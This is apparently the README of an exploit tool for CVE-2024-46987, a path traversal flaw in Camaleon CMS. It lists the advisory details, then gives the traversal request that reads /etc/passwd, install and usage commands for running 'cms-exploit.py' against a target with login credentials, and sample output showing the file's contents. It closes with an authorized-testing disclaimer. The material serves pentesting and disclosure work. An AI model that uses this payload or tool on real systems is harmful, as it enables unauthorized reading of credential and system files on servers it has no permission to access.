CVE-2024-46987 – Camaleon CMS Authenticated Path Traversal / Arbitrary File Read

CVE-2024-46987 is an authenticated path traversal vulnerability (CWE-22) in Camaleon CMS (a Ruby on Rails-based content management system). It allows a logged-in user (even with low privileges) to read arbitrary files on the server via the MediaController#download_private_file action.

• Published: September 18, 2024
• CVSS v3.1: 7.7 High
  Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
• CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), CWE-200 (Exposure of Sensitive Information)
• Affected versions: Camaleon CMS ≤ 2.8.0 (some reports note it works on 2.9.0 too)
• Patched in: ≥ 2.8.2 (recommended: upgrade to latest 2.8.x or 2.9.x)
• Advisories:
  • GitHub Advisory GHSA-cp65-5m9r-vc2c
  • NVD CVE-2024-46987
  • GitHub Security Lab GHSL-2024-183

Vulnerability Overview

An attacker with valid credentials can send a crafted request to: /admin/media/download_private_file?file=../../../../etc/passwd

Installing Requirements

• pip install -r requirements.txt

OR

• pip install -r requests fire

Usage

• First create a new user

python cms-exploit.py \
  --url http://target.local \
  --username neal \
  --password 'Caffery@123' \
  --cmd /etc/passwd

• Example Output:

[+] Login successful
[*] Requesting: http://target.local/admin/media/download_private_file?file=../../../etc/passwd
[+] Success – content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.
.

Note: The script assumes Rails-style login form (user[email], user[password], authenticity_token). Adjust payload fields if your target uses custom names.

Legal & Ethical Warning

This tool is provided for educational and authorized security testing purposes only.

Use only on systems you own or have explicit written permission to test (e.g., bug bounty programs, internal pentests, labs like HTB). Unauthorized use may violate laws. The author is not responsible for misuse.